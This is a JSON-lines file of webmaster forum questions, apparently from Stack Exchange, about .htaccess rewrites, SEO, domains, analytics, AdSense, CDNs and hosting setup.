{"id":"57496","title":"RewriteRule with Query_String","text":"I have http\/\/royatlon.north.com\/cybersource\/fp\/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1 and I would like to rewrite it to this: https:\/\/media.north.com\/fp\/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1 How can I do this? I tried this: RewriteCond %{REQUEST_URI} ^\/cybersource\/fp\/clear.png\/ RewriteCond %{QUERY_STRING}^(.*)org_id=1snn5n9w&session_id=sterling40272003&m=1(&.*)$ [NC] RewriteRule^(.*)$ https:\/\/media.north.com\/fp\/clear.pngorg_id=1snn5n9w&session_id=sterling40272003&m=1 [R=301,L] ...but it's not working. * * * But here is the problem, I have multiple URLs for one host for example I have this: ## If the request is `http\/\/royatlon.north.com\/cybersource\/fp\/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1` **rewrite it to** `https:\/\/media.north.com\/fp\/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1` ## If the request is `http\/\/royatlon.north.com\/cybersource\/fp\/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=2` **rewrite it to** `https:\/\/media.north.com\/fp\/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=2`"}
{"id":"8319","title":"Is it a good idea to strip common words from url's","text":"I've got an MVC app that generates url \"slugs\" on the fly. I'm wondering (with regards to SEO) if it's good practice to stip common words from the slug. IE: Page Title: **This is a cool title with lots of content** Page Slug: **\/this-is-a-cool-title-with-lots-of-content** Option B: **\/this-cool-title-with-lots-content**"}
{"id":"56411","title":"Remove .php and id from URL and replace with slash","text":"I have tried lots of URL rewrite rules in _.htaccess_ but I am stuck now. I have to change this URL: products.php?id=31 to products\/31 I have used: Options +FollowSymLinks -MultiViews # Turn mod_rewrite on RewriteEngine On RewriteBase \/ ## don't touch \/forum URIs RewriteRule ^forums\/ - [L,NC] RewriteCond %{THE_REQUEST} \\s\/+products(?:\\.php)?\\?id=([0-9]+) [NC] RewriteRule ^ products\/%1? [R,L] RewriteRule ^products\/([0-9]+)\/?$ products.php?id=$1 [L,QSA] ## hide .php extension snippet # To externally redirect \/dir\/foo.php to \/dir\/foo RewriteCond %{THE_REQUEST} \\s([^.]+)\\.php [NC] RewriteRule ^ %1 [R,L] # To internally forward \/dir\/foo to \/dir\/foo.php RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule ^(.+?)\/?$ $1.php [L] Using this I get the following result: products\/31 But all images and CSS not displaying. Any ideas?"}
{"id":"53703","title":"Choosing a domain name with joined words is good for SEO?","text":"I am going to choose a domain name for my business. For that I am going to use joined words in my domain name. For example, let's say my keywords are \"painting\" and \"goa\" and also that `paintinggoa.com` is not available to register. In this case if I choose `paintingoa.com` is it good? Is it good for SEO purposes? How will Google treat this domain name?"}
{"id":"62942","title":"SEO domain advice: sol-spl.com vs sol-spanish.com","text":"I'm taking Spanish lessons from a school that uses a domain name `sol-spl.com` (not the actual domain), where `sol` is the name of the company, and `spl` stands for \"Spanish private lessons\". I was thinking that it might be much better for their search rankings if they used the domain `sol-spanish.com`, since every search for spanish lessons is going to use the keyword `spanish`, and `spl` isn't likely to be used. Will switching domains like this likely have a positive impact on their search rankings, and is it a reasonable thing for me to advise them to do?"}
{"id":"28984","title":"Analytics - how to tell where converted traffic came from?","text":"I must be missing something obvious. I have Analytics set up with conversion tracking (goals), and I had 4 customers complete the goals yesterday. I'm trying to find out where those 4 customers came from (organic search? if organic, what keywords? etc) but I can't figure out how to do that in Adwords. When I click into the goal tracking overview, I see my 4 customers and it breaks it down so I see that 3 of them came from adwords (cpc) and 1 of them came from organic. I'd like to know exactly what ads brought the traffic and what keywords on the organic search led them to me. How can I do this? It seems like a simple request... but I can't figure it out... thanks for your help!"}
{"id":"56760","title":"How to decrease the frequency of Google\/Search-engine bots crawling my site?","text":"My server handles my visitors ok, but recently I found there are many search engine bots crawling my site and my server gets quite busy serving these bots. My site generates over 1000 posts each day, so it might be normal for the bots crawling my site often. However, is it possible to decrease the frequency for the bots crawling my site? Or just tell the bots to craw my new posts? It seems they are crawling my site more and more often and my server becomes slow when they visit my site."}
{"id":"9929","title":"Does using data from another website increase their SEO?","text":"To clarify, if I wear to use xml data from another website to make charts on my site, would that affect their SEO?"}
{"id":"35252","title":"Handling the holding of money on a platform","text":"We are building a platform for a client, developed in Yii, where users can top up their account on the platform with money from PayPal. Users can upload files and buy access to each other's files. Users can also gift other users with money. I was thinking that when users top up their account, the money goes from their PayPal to the merchant account of the website. So all users' money goes to one merchant account. Then, any transactions on the platform are simply recorded on the platform and each user's balance is the maximum amount they can withdraw from the merchant account. Is this the right approach? Legally, are there any problems?"}
{"id":"35256","title":"Disqus thread migration. Gotchas?","text":"I've been migrating a site to a new domain. The site itself is pretty straightforward (it uses Jekyll), and everything has gone fine -- except migration of Disqus threads. I've had _partial_ success -- some of the threads have migrated successfully, but not all. I've tried the domain migration wizard (which caught a few), the URL mapper (which caught a few), and the 301 redirect crawler (which caught a few). But the remaining threads just won't move, no matter which method I use. So, I suppose I suppose I'm asking if there are any \"gotchas\" I should know about with this. When you execute any of these migration tools, it says it will \"take awhile.\" Does that mean hours? Days? I can't tell if it's working, and there's no logging or error reporting that I can see."}
{"id":"35257","title":"How to include content from remote server while keeping that content secure","text":"I am hosting collection of videos, for which I retain the copyright, on a file server that I'd like to share with family and friends. When a user visits my file server via a web browser they are asked to authenticate using HTTP auth and then they are presented with a basic list of the files. I'd like to build web application that provides a clean interface with simply library functionality. However, this app will be hosted on a different server. I'm trying to figure out a security model for my file server that doesn't require the user to login to both the file server and the hosting server. I want to make this as easy as possible for my non-tech savvy family while still maintaining security for my files."}
{"id":"9921","title":"How to make google analytics report on two domains as though they are one site?","text":"We have a main site that Google analytics is currently running fine on (www.ourcompany.com). We have a page that is technically part of the site (same design, etc.) but is hosted on another server\/domain for various business reasons (www.ourparentcompany.com\/ourcompanyapp\/). Do we just add the normal google analytics code to the bottom of that page? Or is there something more we have to do? If there isn't anything more then couldn't anyone just take your GA code and start reporting analytics to your profile from their site?"}
{"id":"52814","title":"Google crawl speed -- how fast can it go?","text":"I have a huge website with 5 million pages. Currently Google indexes about 10,000 pages per day. This is very slow, I still have lots of pages that I can't get indexed. Does anyone know what is the upper threshold for crawl speed?"}
{"id":"47411","title":"Who do I turn to for the Terms of Service and Privacy Policy?","text":"Are the Terms of Service and Privacy Policy for a web site something I can write up on my own, or do I need to turn to a lawyer or some other professional to do these? Who are the guys who do the Terms of Service and Privacy Policy for web sites? How does one go about doing this, and how much does it cost (in the US)?"}
{"id":"55852","title":"Under what circumstances is a website subject to United States laws?","text":"I'm a Canadian student currently hosting a website using a German VPS service, which I want to put a forum on in the near future where users can submit content. However, all of my domains are .com, which is an American registry under an American registrar, and the website is made accessible to American users although the target audience is worldwide. I'd like to avoid subjecting myself unnecessarily to United States laws, in order not to be required to comply fully with things like the DMCA safe harbour provision and COPPA (although I might implement similar measures to the extent I find reasonable and to maintain compliance with the local laws of both Canada and Germany). I don't plan on doing anything illegal with the site itself, however, unlike a similar question posted here. In this situation, does the United States have any power or jurisdiction over my website? Do I need to comply with US laws just because I make my site accessible to them or because my domain name is under American control?"}
{"id":"19260","title":"What are you using for getting stats about your web app? G. Analytics or other solution?","text":"if you are building your own web application, what are you using for monitoring of visitors. Are you getting this information from Google Analytics? Or do you prefer your own solution?"}
{"id":"212","title":"Deploying Complex Changes","text":"Occasionally we need to deploy fairly complex changes to a website which require changes to databases (new or changed tables) and dynamic source code (such as PHP or ColdFusion). What is the best way to package and deploy these changes quickly without breaking everything on the live website?"}
{"id":"19266","title":"How do multiple subdirectories affect SEO?","text":"I am building a URL strategy for a new website. Which is a better URL format, and why? * \/top-level-category\/second-level-category\/page-title or * \/page-title-top-level-category-second-level-category or some hybrid approach, maybe * \/page-title-top-level-category * \/top-level-category\/page-title-second-level-category * \/top-level-category\/page-title I've Googled around a fair bit and found some conflicting answers. SEOMoz suggests that the style I mentioned first seems to be best, but other sources indicate that keeping URLs short and pages in the top level directory can help keep SEO ranking high."}
{"id":"14256","title":"Why My Adsense Account is not accepted","text":"I have created a blog on blogger few days ago and created two blog entries on it. when i try creating AdSense account with blog's address it does not accept the application due to PageType. i have searched around on the net and found that its probably due to duplicate or insufficient content on the blog but either of my blog entry is more than 2,000 words and i have literally typed 80 percent of its content with only few code blocks copied from other sites. Below is content of email i received as response to my application. Hello, Thank you for your interest in Google AdSense. Unfortunately, after reviewing your application, we're unable to accept you into AdSense at this time. We did not approve your application for the reasons listed below. Issues: - Page Type * * * Further detail: Page Type: In order to participate in Google AdSense, publishers' websites and application information must satisfy the following guidelines: * Your website must be your own top-level domain (www.example.com and not www.example.com\/mysite). * You must provide accurate personal information with your application that matches the information on your domain registration. * Your website must contain substantial, original content. * Your site must comply with Google AdSense program policies: https:\/\/www.google.com\/adsense\/policies\" which include Google's webmaster quality guidelines: http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=35769#quality . If your site satisfies the above criteria in the future, please resubmit your application and we'll review it as soon as possible My Personal credentials are also same as they appear in my google account. i can't figure out the problem. Any Help\/Suggestion is highly appreciated. regards"}
{"id":"34304","title":"How do I get the root index page to redirect to a subdirectory without affecting SEO?","text":"I am reviving\/reorganising my personal WordPress blog. It's using a URL that looks like this: `http:\/\/mydomain.com\/blog` The webserver 301 redirects `www.mydomain.com` to `mydomain.com`. I want to use the `blog` subdirectory because I plan to add other parts to the site, with the blog only being one part of the site. However, at the moment there is nothing there but the blog, so I want to have the root index page redirect to the blog for the time being. I have been using this on the root `index.html` page to do the redirect... `<meta http-equiv=\"REFRESH\" content=\"0;url=.\/blog\">` ...but this seemed to have stopped the site being indexed by Google and Bing. How do I do this without affecting SEO? Also, what URL should I put in the `sitemap.xml`?"}
{"id":"64706","title":"Subdomain redirects to subdirectory","text":"Supposing I have folder called \"support\" inside root folder \"\/public_html\". I've added a subdomain in my server's panel so that when going to \"support.mydomain.com\" it redirects to \"mydomain.com\/support\" The problem is that redirection is reflected on the browser's address bar, and I want to make that subdomain work like \"base domain\". i.e \"support.mydomain.com\/folder-inside-support\" Is it something to be with .htaccess file?"}
{"id":"19945","title":"Can I do a non-hostile cross-domain POST now?","text":"One requirement for a site I'm working on calls for visitors to be able to sign up for an email list. Rather than add server-side handling for this otherwise static site, I would like to POST from the email signup form to another server (owned by the same client) that already has an email signup handler on it. But that server is on a different domain, so I expect some resistance from UA CSRF protections, but I don't know exactly what to expect. (There is practically no JS involved with this, just cross-site POSTing.) 1. Is what I want to do possible at all, or do I need to iframe the email signup form from server #2? 2. If it is possible, what kind of problems can I expect to face, and how should I overcome them?"}
{"id":"16760","title":"How do I get mod_rewrite working with typo and wordpress?","text":"I've some trouble with typo3 (mydomain.net) and wordpress (mydomain.net\/blog\/) using mod_rewrite. First I was running a typo3 installation which uses mod_rewirte without trouble. Now I'm trying to run a wordpress too, but if wordpress uses mod_rewrite, every click of a link bing me back to the index of my typo3. The filestructure of my ftp-folder: * \/html\/ (contains the typo3 files and folders and the .htaccess-file) * \/html\/blog\/ (contains the wordpress files and folders) This is the content of the .htaccess: RewriteEngine On RewriteRule ^(typo3|t3lib|tslib|fileadmin|typo3conf|typo3temp|uploads|showpic\\.php|favicon\\.ico)\/ - [L] RewriteRule ^typo3$ typo3\/index_re.php [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-l RewriteRule .* index.php [L] Any ideas as to what I should do? Or is it possible that only one cms uses mod_rewrite?"}
{"id":"22175","title":"Cloudflare in cpanel is it a no brainer?","text":"I recently noticed Cloudflare cdn service add on in my cpanel. I understand what CDN is, but though it was a more complicated process than the one-click solution that seems to be offered in cpanel now. Can anyone vouch for this service through the cpanel and if it is indeed easy to set up as it looks. Do I risk breaking anything on a dynamic site?"}
{"id":"12079","title":"How to get a new Adsense account?","text":"I have a websites related to cricket and advertising. How can I apply for google adsense?"}
{"id":"54346","title":"How to configure mod_bwlimited through htaccess","text":"The mod_bwlimited module in htaccess apparently displays an error if bandwidth is exceeded. Anyone know what options are available for configuring it through htaccess?"}
{"id":"6082","title":"Links from pages with poor\/no ranking, is there anything I can do about this?","text":"A site I help with sells a particular set of items, they have a strong reputation locally, and sell parts nationally online. From an observational point of view I enjoy working with them as they do everything right - always willing to go the extra mile for customers, even at times when it seems counter productive (for example spending large amounts of time helping a customer who has spent relatively little money) I would definitely put them in the \"good guys\" bracket. Checking server logs I notice they get quite a few links from phpbb style forums, talking about how great the service was\/how good the prices were etc. These forums appear to be quite popular - large user list, lots of discussion and questions per day etc. But (and here is the problem) I'm almost certain these discussion groups aren't being picked up by google. The customers just don't seem to be the kind of customer who have a blog\/twitter feed\/website - the sort of content which is more likely to be picked up by google and have page ranking. I understand partly this is why the stackoverflow\/exchange sites exist - to make the web a better place, make answers easier to find, more search engine friendly etc. Does anyone have any advice as to how to deal with this \"problem\" of old style discussion groups?"}
{"id":"49341","title":"Would changing IP addresses affect my SEO","text":"We're about to change our website from a shared hosting account to run on a VPS, mainly so we have our own resources and control over server settings. An IP address is included with the VPS. What I was wonder is if the IP address change will have a similar affect to changing the domain name? Obviously the links will still come from the same domain, so that's fine, but I was thinking more along the lines of the way a search engine sees the site - would it downgrade you for switching IP's?"}
{"id":"55252","title":"Is my Hostgator dedicated IP used any more if I use CloudFlare DNS?","text":"I'm hosting my website with Hostgator and I have a paid dedicated IP address for my host. Today I have made an account on CloudFlare and replaced my old hostgator DNS with ClodFlare's DNS. My question is: If I've changed my Hostgator DNS with CloudFlare DNS that dedicated IP from Hostgator will be used like before or I'm paying for it for nothing and my website uses CloudFlare IP from now on?"}
{"id":"69042","title":"\/ and index.php. How to eliminate this duplicate page issue?","text":"In my website root, I have an index.php and of course the rest of the pages. The problem is when I crawl my site either with a crawler or a sitemap crawler, etc, it reports 2 duplicated links www.domain.com\/ www.domain.com\/index.php How do I force tell my crawler that there are no two instances of the same page? Do I use a 301 to merge them? A canonical? an .htaccess redirection? etc. How do I fix this?"}
{"id":"49269","title":"SEO for niche web directory - using canonical for pagination?","text":"I am creating a niche web directory. Each category has a quality text and then about 1000 sites listed. My primary goal is to get Google traffic for each category intro. Only on 1st page of each category is text with first 30 sites populated, on the next pages there are only list of sites as pagination goes. I am not sure what would be a proper way for pagination. Each first page category is unique, but next pages could be very similar because the same sites belong to different categories. Do you think using canonical tag would be acceptable in this case?"}
{"id":"25776","title":"Analytics and AdWords setup for agency","text":"How would you recommend to setup Google Analytics and (or) AdWords for an marketing agency managing multiple websites, assuming that: * I need access to all of the sites * I'd like to manage all of the domains in one place * I'd like to avoid to repeat all the stuff (e.g. creating filters excluding my IP) * I need Google Analytics for all of the client sites * Some of the clients are using AdWords, some not * Each of the clients need an access to their data, and only their How to set up My Client Center and Analytics together? Do I need to create separate gmail account for each of my clients (assuming they don't have one yet)?"}
{"id":"25777","title":"why is my site slower with amazons cdn?","text":"so I have move most of the static objects to amazons Cloudfront CDN example: http:\/\/images.storyfollower.com\/images\/cycleOfStories.jpg which through cname point to the cdn Now I just ran a speed test and the site is much slower????? With cdn: http:\/\/tools.pingdom.com\/fpt\/#!\/BmxPlstTp\/storyfollower.com 1.7 sec Without cdn http:\/\/tools.pingdom.com\/fpt\/#!\/nFmp4l3Ez\/storyfollower.com 0.8 sec. I basically moved all the css \/ js \/ and images over to the cdn Did I do something wrong? Have a look for your self at http:\/\/storyfollower.com WHY is this happening? Thanks"}
{"id":"45003","title":"A JS-based WYSIWYG HTML editor with flexible image upload?","text":"Is there a good JS-based WYSIWYG HTML editor with flexible image upload out there? Ideally, I'd like an editor that allows me to handle image upload in a custom callback."}
{"id":"43816","title":"Does DFP Small Business allow geotargeting?","text":"I'm working with a blog that has an advertiser who can only show ads for US\/UK... so I'd like to set up an ad server that will show those advertiser's ads for US\/UK customers, and then show Google Adsense ads for all other countries. It seems like DFP Small Business (Google's free ad server product) will do the job for all of this, but I'm not 100% certain it allows geotargeting as I've described. Is that possible?"}
{"id":"65567","title":"Schema.org Microdata for links to Member Organizations","text":"I'm finishing up a site for a client who is a member of multiple organizations and wants to display links to those organizations on their website as in: Client Company is a Proud Member of: Organization 1 Organization 2, etc.. I've never really dealt with this situation before and maybe I'm just not phrasing my question properly, but I'm not finding anything. It leaves me with a couple of questions: 1. Is there an appropriate schema in existence for this scenario? 2. Is there an appropriate rel attribute that I should be using? 3. Will these links help or hurt SEO in any way?"}
{"id":"21857","title":"Copyright my website name. Is this possible?","text":"I am wondering if besides owning my domain name, should I copyright the actual name of the site? If my site is called **mysite.com**. Could I go to http:\/\/www.copyright.gov\/ and copyright **mysite**? Or do I need to do nothing? What would be best if someone was to try and steal my website name?"}
{"id":"24828","title":"Suggestions required to build an ECommerce Platform","text":"For a prospective client we have to offer a solution to provide following system: * CMS * Order Management * Shopping Cart * CRM * Helpdesk * Accounting & Finance * Custom Functions In order to save time and to avoid reinvent the wheel our idea is to integrate different off-the-shelf solutions. Their first requirement is that the system has to be hosted in their country which I think will exclude application like Aplicor, Netsuite & Salesforce. Basically the nucleaus would be the CMS which would integrate all the other apps. PHP or .Net based solutions would be our preferences as have inhouse expertise. So far following are few combinations I have come up with: * Joomla (CMS) + Virtuemart (Cart+Ordering) + Sugar CRM + Open ERP (finance) + OTRS * Magento (CMS+Cart+Ordering) + Sugar CRM + Open ERP (finance) + Helpdesk Ultimate * Drupal (CMS) + Ubercart (Cart+Ordering) + Sugar CRM + Open ERP (finance) + Support Ticketing System * Sharepoint (CMS) + OptimusBt (Cart+Ordering) + Dynamics CRM + Great Plains + SharepointHQ * Dotnetnuke (CMS) + DNNSpot (Cart+Ordering) + Sigma Pro (CRM+Helpdesk) + Open ERP For Helpdesk I liked Zendesk but the server location was the stopping factor, similar for finance and CRM I liked Aplicor. I would not like to go into detailed requirements as it would make things very complex. Could you please suggest me which options are worth enough to start looking into? What other options we have?"}
{"id":"21855","title":"Google maps premier license","text":"I would like to buy Google maps premier license. I tried to contact Google maps through their web site (online inquiry form). No one got back to me. I would appreciate if someone can help me with this."}
{"id":"46735","title":"What type of server is using Django\/Python? .htaccess is compatible?","text":"I was wondering what type of server is using python & django because i don't know if can i use an _.htaccess_ file and if there is something similar. Thanks."}
{"id":"46776","title":"URL for a blogger blog issue","text":"I am hosting the URL (`www.getyourpansoff.com`) of a friend as an add-on in a bluehost account. I want to use this URL for her blog (`get-your-pans- off.blogspot.com`). I have configured the URL in the blog itself, and Google seems happy with it. However, when I try to open the blog using `www.getyourpansoff.com`, I do not see the blog. In BlueHost, I have the following:  I also have a redirection:  What am I doing wrong and how to solve it? **Update** What I have now: A record www -> 69.195.124.93 CNAME record www.getyourpansoff -> getyourpansoff.com and not redirection. Still does not work."}
{"id":"21671","title":"Shared IP address","text":"My website share the same IP address with a lot of other internet sites (500) that are not mine. How is this possible? is this affecting my SEO? Thanks"}
{"id":"46732","title":"Ajax load more for search engine bots","text":"On my website I am only displaying 20 posts for visitors, when they scroll down it loads more. I want to know if will affect the ranking of my website in a negative way if I load, for example, 100 posts for search engines. I am not worried much about the loading time as I am loading only text (really small posts). I would really appreciate any advice."}
{"id":"18190","title":"CMS for social photo album","text":"I am going to make a multi-user photo album. I am looking for a robust and free CMS which can easily handle batch image uploads and some social networking capabilities, like rating, relationship, etc. I know that it can be done using Wordpress but I appreciate it if you suggest me to other viable alternatives (not necessarily php-based)."}
{"id":"3646","title":"How to search for backlinks on google","text":"What is the difference between following google search statements `link:article-stack.com` and `link:article-stack.com site:stackexchange.com` Can i consider 2nd search result as a subset of 1st search result?"}
{"id":"3641","title":"Cloning a site and avoiding SEO problems","text":"I have an idea to use a (cc-by-sa) data dump from another site, where I will experiment with new ideas. This would still be a site with almost 99% of the data similar. I can see two \"rules\" that search engines may apply * Don't duplicate content * Dont send different data to the bot and the ordinary visitors Links to the original site will be present as required by the data dump. If only the titles and other new data is shown to the bot it would solve the first rule but would that violate the second? Or should I simply put these pages in a robots.txt banned area? Would this be going to far. I don't care about ranking, only not to be banned. It should be found if people were specifically looking for alternate voting schemes, from new content that I generate."}
{"id":"67251","title":"How to improve onsite SEO if the site contain mainly picture?","text":"And design requires that we don't add texts. The site contains only pictures. I think it needs some text. However, I do not want the text to be shown. Should I put it on img title? Should I hide it on description? Should I use meta keywords? What should I do?"}
{"id":"2559","title":"What should I do with these old domain names?","text":"I purchased some domain names a few years ago intending to build something on them. I haven't had the time to develop any of the websites, but I still think they have potential. What would you do? _Let them expire, sell them, create a sign-up page to gauge user interest, something else?_ Are there any resources\/methods\/tools you can recommend to accomplish this?"}
{"id":"11584","title":"What is the best way to redirect my naked domain?","text":"I have example.com, which points to web server using A records, I want to redirect all traffic from `www.example.com` to `example.com`. As far as i know these are methods, 1. 301 HTML redirect from www to `example.com` 2. Add CNAME alias for www to @ 3. Add A record for www to webserver IP What is the best way to do it without affecting my search engine ranking?"}
{"id":"11477","title":"Being at Google's Mercy: A Tool for Webmasters","text":"you know what i would love? a tool by Google that tells you what they think of your site. if you're doing anything wrong that they are punishing you for or something. does such a tool exist?"}
{"id":"11474","title":"Alt tag suitable replacement for critical text?","text":"I have a slogan on my home page that will not appear in text anywhere else. The problem is part of the slogan needs to be an image, for design requirements. Normally I would want to put this slogan in an `H1` header and the title. Question is whether or not this image will hurt my content indexing by search engines, and if an `alt` tag is an adequate alternative. Thanks"}
{"id":"28935","title":"Referrer traffic","text":"I noticed repeat visits to my site from various websites, all located in the Ukraine. I looked at the source of the pages and see no links to neither my domain nor IP. I am wondering of the origin of this traffic. Hopefully there's no malicious intent. Is there a way to research it deeper?"}
{"id":"50011","title":"Which pages should be present in the sitemap","text":"So if I have a WordPress blog for example, then out of the following which should be present in the sitemap and which should not be? 1. posts - these will be obviously. 2. pages - should be. 3. categories - ? 4. date archives - ? 5. tags - ? What kind of SEO impact does it have to list all tags, categories and archives pages in the sitemap or not list them at all and give them a meta robot `noindex`."}
{"id":"57238","title":"Page title for real estate website","text":"When user creates a real-estate content page, the `title` will be created by the rules I will create. Lets say there will be 10,000 flats on sale in London. So to make this as good as I can - how do I make good rules for page `title` for all content created? I would make tokens that will handle this something like: \"City\" - \"Type of real-estate + ft\" - \"price\" - \"Website name\" E.g.: (London - Apartment 50ft - $120,000 - WEBSITE NAME) I could probably think of something better if I had 5 - 10 flats, but when I know there will huge amount of them I have no idea which will work best. The content has many fields which could be used for page title (address, postal, price, number of floors, parking lots etc.)"}
{"id":"43102","title":"What Google will do while switching from 301\/404 to 200?","text":"Imagine a pagination script with 20 total pages: articles.php?page=18 What should I do when some third party web site links to a non-existent page? articles.php?page=21 (page 21 is out of bounds) articles.php?page=-10 (as is this) articles.php?page=blabla (or this) problem is... (I have 20 total pages) * some 3rd party site links `articles.php?page=21` that doesn't exist (last page is the 20th) * and I send 404\/301 as a response * Google crawls that link * some time after, the total number of articles increases and will make the 21st page appear * the 404\/301 will be removed in favor of the status 200 Is that correct? Is 404 or 301 better? Do I need some more expedients? (with a 301 redirect I mean redirecting to the closest valid page) * * * more answers are welcome!!"}
{"id":"43106","title":"How do I know dead links in Google ad-words?","text":"I am spending a lot of money on Google ad-words in my website. Sometimes customers get dead links from ad-words and unable to get to intended page. I know this is an issue from my part. I need to know which are those dead links that ad-words lists? Is there any way to find this?"}
{"id":"5013","title":"What does link:http:\/\/www.sunshinetrekking.com means in google?","text":"In terms of learning seo i found something link:http:\/\/www.sunshinetrekking.com i.e link:websitename. I couldnot what it is searching google. What does it means? Dis it important for pagerank?"}
{"id":"58018","title":"301 redirect from new page to old to keep PageRank?","text":"I need to change a URL of an interior page that has a Google PageRank of 4. It was recommended by a coworker that I create the new URL but have it redirect to the old one, thus allowing a buildup of PR for the new URL, and the existing page continues to maintain a PR of 4. Does anyone have any insight as to whether this will actually work?"}
{"id":"5018","title":"What is Page authority in OpenSiteExplorer.org?","text":"I am trying increase page rank of my website. I came across http:\/\/www.opensiteexplorer.org. It generated the stats of my website. There are alot of things. I would like to start from some basics. So first What is page Authority? I find my page authority as low as 26 compared to others 40. How can i increase it?"}
{"id":"38830","title":"1 Google Analytics account or top-level domain + profiles for sub-domains vs. 1 account for each sub-domain","text":"We have the following websites * An online magazine Singapore edition - `sg.abc.com` * The same online magazine Malaysia edition - `my.abc.com` * Forums around the same subjects as the online magazine but functions independently - `forums.abc.com` * Classifieds site rather also around the same subjects but functions independently - `directory.abc.com` Each of the above websites currently has its own Google Analytics account. `abc.com` has a separate Google Analytics account too. `sg.abc.com` has the most traffic and generates most revenues Are there any practical benefits of merging all the above sub-domains to be under abc.com? I can think of more reliable analytics and consistency for sure. Are there more? cross-sales?"}
{"id":"17416","title":"Confused about facebook like","text":"We have a 'Website Page' on Facebook that people like and we post all our news on it etc. We also have a 'like' button on our website which people click on. When they click on it it seems to publish our page onto their wall which is great. However, we would like it so when people press 'like' on our website, it 'likes' our Facebook website page. Both counters are different, on our Facebook website page we have ~350 likes, on our website we have ~280 likes they seem to be individuals. Any way we can make people 'like' our website page on FB?"}
{"id":"17140","title":"Search result page > category defined or understood by Google to co relate with search query?","text":"I searched in Google: `does nioxin work?` One of the top results is: > Does nioxin shampoo make hair grow? - Yahoo! Answers answers.yahoo.com > > › ... › Beauty & Style › Hair > > * * * Why is the category formed with `> Beauty & Style › Hair?`"}
{"id":"17411","title":"I have 2 domains one main, one parked. I recently switched but host provider told me theyd repoint the DNS but there are problems? Do it via DS","text":"I wanted to switch my site from `www.mutantspace.ie` to www.mutantspace.com. Up until now the `.com` was my parked domain. I looked into it and was told that using this code in my _.htaccess_ file in `www.mutantspace.ie` would work: RewriteEngine on RewriteCond %{http_host} !^www.mutantspace.ie$ [nc] RewriteRule ^(.*)$ http:\/\/www.mutantspace.com\/$1 [r=301,nc,L] I then asked my provider and he said 'Where are you moving too though?' Then he told me best way was for them to repoint site to `www.mutantspace.com`. I said fine (in my ignorance) and that is whats happened. However even though new URLs are being indexed I have 100s of old URLs out there returning 404s. Now I can't access my old _.htaccess_ file to put in permanent redirects because its now `.com`. Is there any code that I can use anywhere in my root directory that will redirect old `www.mutantspace.ie` pages to their corresponding `www.mutantspace.com\/` pages?"}
{"id":"25190","title":"SEO traffic redirect bomb?","text":"Okay, so let's pretend i have a site about \"Dogs\". My main business, however, is insurance. For some lucky reason, I appear on top for \"insurance\". Then one day, company B appears and they beat me on Google. So, one way to harm their backlinks is to create many from unrelated niches. I.e. I could create links back from my dogs website to my competition's website. I actually did this by accident to myself, so i know: It killed my site's rankings and even got banned from Google for a while. So basically, my dogs website, with it's massive traffic, is a grenade, waiting to get thrown at a site. By directing bad traffic, I can kill someone's site. And worst of all, they will think they are getting a LOT of traffic, when actually, I'm screwing them in the long run. So my questions are.... 1. Am I right? This would kill PR, or was the time it happened to me purely a fluke (it was so bad, that if you typed in \"dogs\" followed by my country name, my site would appear 4th, even though it probably doesn't have the word dogs on the entire site once). 2. How legal is this? (i'm scared this is a normal blackhat seo tactic that already exists.... is it?) 3. How can something like this boomerang? 4. Why is no one doing this? Or are they? Thanks!"}
{"id":"51798","title":"Multiple domains for different products?","text":"I have a website with software applications. Is it good for SEO to choose one keyword rich domain name for each of our software products or should we stick to a single domain? From a user's perspective I think it would be easier to remember a domain that is keyword rich as the user will instantly know what this product is for. But I have read articles that the latest trend in SEO is to stick to one domain for all of your products and invest on this single domain website. Is that true? What do you advise? Should I register a separate domain for each of our products or should I use only one single domain? Should I do a 301 redirect with a .htaccess to a single domain? And what about the sitemaps? Should I register all sites in Google Webmaster Tools and post a separate sitemap for each one of them? should my main site sitemap include all pages or should separate domains have their own sitemaps?"}
{"id":"13305","title":"Forwarding emails not working","text":"I bought a new domain for myself. I got an email account free with the domain. Inorder to access mails through my gmail account I set up auto-forwarding all mails from my domain's webmail. Now the problem is at times it forwards mails instantly but sometimes it doesn't. Can anything be done about it?"}
{"id":"60425","title":"Could too many HTTP requests using AJAX result in browser crashes?","text":"We are running an ASP.NET web application, and recently we received a lot of crash reports from users. It sometimes crashes the Chrome browser, and sometimes it loads indefinitely. This is how our system is designed: our page is a light weight HTML5 page, there is no code behind in our page (i.e., no server-side binding). Once the page is loaded in browser, it fires up AJAX requests to load everything it needs, from look up values to business model, and then it uses JavaScript to bind it to drop down lists and other DOM elements. This is the screen shot from the Chrome browser's developer tool:  Is 91 HTTP requests too much for a browser? How do I eliminate that this is not the cause of browser and application crashes?"}
{"id":"13300","title":"Markdown (or Textile) editor for Joomla","text":"I wonder whether there's any markdown editor similar to one used on StackExchange sites that's pluggable into Joomla CMS? Regular users tend to use rich WYSIWYG as they use Word. They set too many styles which makes the whole page ugly. Markdown editors on the other hand allow writing rich content that will end up in style of the site. Textile editor welcome as well, but less desired. **So are there any?**"}
